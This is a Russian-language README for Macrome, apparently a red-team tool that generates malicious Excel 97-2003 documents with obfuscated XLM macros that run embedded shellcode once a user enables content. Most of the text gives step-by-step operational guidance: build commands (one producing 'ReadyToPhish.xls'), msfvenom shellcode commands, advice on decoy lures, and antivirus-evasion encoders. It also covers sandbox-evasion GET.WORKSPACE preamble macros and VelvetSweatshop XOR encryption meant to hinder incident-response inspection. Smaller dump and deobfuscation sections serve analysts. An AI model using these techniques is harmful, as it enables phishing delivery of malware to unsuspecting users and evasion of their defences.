
Excel Macro Document Reader/Writer для специалистов по красным командам и аналитиков
Инструмент для чтения/записи Excel-документов с макросами для специалистов по Red Teaming и аналитиков. Посты в блоге, описывающие, что на самом деле делает этот инструмент, можно найти здесь и здесь.

Клонируйте или скачайте этот репозиторий, затем инструмент можно запустить с помощью dotnet — например:
dotnet run -- build --decoy-document Docs\decoy_document.xls --payload Docs\popcalc.bin
или
dotnet build
cd bin/Debug/netcoreapp2.0
dotnet Macrome.dll deobfuscate --path obfuscated_document.xls
Обратите внимание, что для работы требуется сборка dotnet версии 5.0+ — её можно скачать с https://dotnet.microsoft.com/download/dotnet/5.0.
Бинарные релизы инструмента, не требующие dotnet и содержащие исполняемый файл, можно найти в разделе Release для Windows, OSX и Linux.
Запускайте Macrome, используя dotnet run из каталога решения или dotnet для собранного бинарного файла Macrome. У Macrome есть три режима работы: режим сборки, режим дампа и режим деобфускации.
Запустите Macrome с командой build, чтобы сгенерировать документ Excel, содержащий обфусцированный лист макросов, используя предоставленный документ-приманку и полезную нагрузку макроса. dotnet Macrome.dll build -h выведет полные инструкции по использованию.
Например, чтобы собрать документ, используя документ-приманку path/to/decoy_document.xls и бинарный x86 шеллкод из path/to/shellcode.bin, выполните dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin. Будет сгенерирован документ XLS 2003, который после открытия и нажатия кнопки "Включить содержимое" выполнит шеллкод из shellcode.bin.
Остальная документация подробно объяснит каждый флаг/функцию, но прямо сейчас "последние и лучшие" возможности Macrome можно получить, выполнив:
Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls
Сначала создайте базовый "приманочный" документ Excel, который будет содержать контент, который увидят пользователи. Это должна быть некая приманка, убеждающая пользователей нажать кнопку "Включить макросы", отображаемую в Excel. Некоторые примеры создания "последних и лучших" приманок можно найти на https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-. После создания этого листа сохраните документ как Excel 97-2003 Workbook (*.xls), а не в более новом формате Excel Workbook (*.xlsx). Пример документа-приманки включён в /Docs/decoy_document.xls. Обратите внимание: если вы используете XOR-обфускацию для защиты документа, вы НЕ МОЖЕТЕ добавлять изображение в приманку.
Затем сгенерируйте полезную нагрузку шеллкода для передачи инструменту. Пример бинарной полезной нагрузки (которая запускает калькулятор) был сгенерирован с помощью msfvenom со следующими параметрами:
msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
Также поддерживаются 64-битные полезные нагрузки. Пример 64-битной полезной нагрузки, popcalc64.bin, был сгенерирован с помощью команды:
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
Эту полезную нагрузку можно встроить, выполнив команду:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin
В настоящее время для 64-битных полезных нагрузок требуется также указать x86-полезную нагрузку. Если это не проблема, вы можете просто указать мусор для флага x86.
Существует возможность встраивать .NET-сборки непосредственно в документ, но если вы хотите сделать это сейчас, я рекомендую использовать EXCELntDonut.
Начиная с Macrome 0.5.0 и выше, все полезные нагрузки кодируются в base64, поэтому ваша полезная нагрузка может содержать любую последовательность байтов (включая нулевые байты).
Если вы хотите встроить .NET-исполняемый файл с помощью Macrome, я рекомендую использовать Donut с командой donut.exe -a 3 -b 1 -z 1 executableToEmbed.exe, а затем встроить полученную полезную нагрузку как для 32-битной, так и для 64-битной версий.
Ещё один хороший вариант — Amber, который отлично работает для встраивания довольно больших Go-бинарников.
Если по какой-то причине вы хотите использовать устаревший режим кодирования полезной нагрузки из версий до Macrome 0.5.0, используйте флаг --payload-method со значением SheetPackingMethod. Обратите внимание, что в устаревшем режиме использование преимущественно буквенно-цифровой полезной нагрузки уменьшит размер генерируемого файла макроса, поскольку буквы и числа проще выразить в виде макроса, чем постоянно добавлять вызовы функции CHAR вроде =CHAR(123)&CHAR(124)&CHAR(125)... и т.д. Но инструмент должен справляться и с полностью непечатаемой бинарной полезной нагрузкой.
Как и в случае с бинарной полезной нагрузкой, сначала необходимо создать документ-приманку. Затем создайте текстовый файл, содержащий макросы для выполнения. Макросы должны быть с столбцами, разделёнными символами ;, и строками, разделёнными переводами строк. В настоящее время содержимое указанных макросов будет записано и выполнено, начиная с A1 — в будущем будет добавлена поддержка указания начального расположения. Примеры макросов можно найти в /Docs/macro_example.txt и /Docs/multi_column_macro_example.txt.
Наконец, выполните команду:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload macro-example.txt --payload-type Macro
Обратите внимание на использование флага payload-type со значением Macro.
Вы можете сгенерировать макрос самостоятельно или воспользоваться замечательным инструментом EXCELntDonut для создания макроса.
Они будут подробно описаны в предстоящем посте в блоге, но сейчас Macrome может кодировать полезные нагрузки макросов тремя различными способами. Большинство из них по-прежнему не обнаруживаются никаким антивирусом — экспериментируйте с вашими полезными нагрузками, чтобы понять, что работает лучше всего.
IF и SET.NAME. Этот метод ещё не использовался известными авторами вредоносных документов, поэтому вряд ли будет обнаружен антивирусом.ROUND.Укажите кодирование с помощью флага method при сборке — например, для использования кодировщика CharSubroutine:
dotnet Macrome.dll b --decoy-document decoy_document.xls --method CharSubroutine --payload popcalc.bin --output-file-name CharSubroutine-Macro.xls
Иногда вам может понадобиться, чтобы определённые макросы выполнялись ДО кода полезной нагрузки. Это полезно, когда вы добавляете макросы для обхода песочницы и/или проверки того, что полезная нагрузка выполняется на правильном хосте.
Формат файлов преамбулы точно такой же, как при использовании payload-type Macro, но поддерживается только один столбец. Например, у вас может быть преамбула:
=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),)
=IF(GET.WORKSPACE(14)<390, CLOSE(FALSE),)
=IF(GET.WORKSPACE(19),,CLOSE(FALSE))
=IF(GET.WORKSPACE(42),,CLOSE(FALSE))
Это проверит значения разрешения экрана, наличие мыши и возможность воспроизведения звука. Если какая-либо из проверок не пройдена, приложение закроется до выполнения основного содержимого полезной нагрузки.
Кроме того, если вы хотите, чтобы макрос преамбулы выполнился НЕМЕДЛЕННО, а не после распаковки остальных макросов, вы можете предварить команду префиксом %%%%%. Например:
%%%%%=IF(GET.WORKSPACE(13)<770, HALT(),)
%%%%%=IF(GET.WORKSPACE(14)<390, HALT(),)
%%%%%=IF(GET.WORKSPACE(19),,HALT())
%%%%%=IF(GET.WORKSPACE(42),,HALT())
Это помогает минимизировать количество команд XLM, выполняемых до закрытия документа, и может быть полезно для более быстрой реакции на наличие индикаторов песочницы.
Macrome 0.3.0+ поддерживает защиту документов паролем с помощью XOR-обфускации — устаревшего режима шифрования из ГОРАЗДО более старых версий Office. Этот режим шифрования часто не поддерживается инструментарием IR и может помочь защитить содержимое документа от проверки.
В Excel есть "стандартный" пароль VelvetSweatshop, который позволяет зашифровать содержимое документа, но при этом документ будет автоматически расшифровываться при открытии. Это "идеальный" способ использования XOR-обфускации в атакующем контексте. Macrome будет автоматически пытаться использовать этот пароль при деобфускации или дампе документа.
Чтобы использовать эту функцию, просто добавьте --password <passwordToEncrypt> в вашу команду сборки.
Запустите Macrome с командой dump, чтобы вывести наиболее релевантные записи BIFF8 для произвольных документов. Эта функциональность аналогична функции дампа макросов olevba, но имеет более полную обработку записей Ptg в граничных случаях, чтобы формат был максимально близок к фактическим записям FORMULA в Excel. Это то, что я использовал для отладки некоторых странных граничных документов, которые генерировал при создании этого инструмента, так что он сравнительно надёжен. Я уверен, что существует множество граничных случаев, которые сейчас не поддерживаются, поэтому если вы найдёте документ, содержимое которого не удаётся корректно выгрузить, пожалуйста, откройте issue и приложите документ в виде zip-файла.
Команда dump требует только аргумента path, указывающего на целевой файл. Пример вызова:
dotnet Macrome.dll dump --path docToDump.xls
Большинство флагов команды dump предназначены для отладки, но флаг dump-hex-bytes может быть полезен пользователям, которые хотят увидеть отдельные байтовые полезные нагрузки для соответствующих записей. Это аналогично функциональности BiffView, хотя по умолчанию будут отображаться только записи, специфичные для вредоносных документов.
Запустите Macrome с командой deobfuscate, чтобы взять обфусцированный бинарный документ XLS и попытаться обратить некоторые методы анти-анализа. dotnet Macrome.dll deobfuscate -h выведет полные инструкции по использованию. В настоящее время по умолчанию этот режим выполняет следующее:
Lbl, которые Excel будет интерпретировать как записи Auto_Open, несмотря на то, что их имя не соответствует этой строке.Например, чтобы деобфусцировать вредоносный файл макроса XLS 2003 по пути path/to/obfuscated_file.xls, выполните dotnet Macrome.dll deobfuscate --path path/to/obfuscated_file.xls. Будет создана копия обфусцированного файла, которую будет проще анализировать вручную или с помощью инструментов.
ПРИМЕЧАНИЕ: Пока что это делает не очень много, в основном предназначено для демонстрации того, как использование модифицированной библиотеки b2xtranslator может помочь автоматизировать деобфускацию. Более полезные функции скоро появятся.
Огромное спасибо всем, на чьи плечи я смог опереться, чтобы написать это.
b2xtranslator, а также ребятам из EvolutionJobs, которые обновили её и портировали на dotnet. Используемый здесь код был первоначально взят из https://github.com/EvolutionJobs/b2xtranslator.